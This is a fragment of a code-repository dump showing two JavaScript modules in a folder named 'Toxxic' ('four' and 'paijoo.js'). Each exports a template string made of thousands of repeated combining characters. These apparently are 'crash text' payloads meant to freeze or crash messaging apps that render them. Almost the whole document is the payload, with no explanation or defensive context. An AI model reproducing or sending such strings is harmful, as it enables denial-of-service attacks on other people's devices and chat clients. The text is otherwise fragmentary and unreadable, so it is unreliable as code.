᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵ͥ̉͆̆́͋̾ͅͅ 6 | ` 7 | exports.four = four -------------------------------------------------------------------------------- /Toxxic/paijoo.js: -------------------------------------------------------------------------------- 1 | const paijoo = `᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵᪵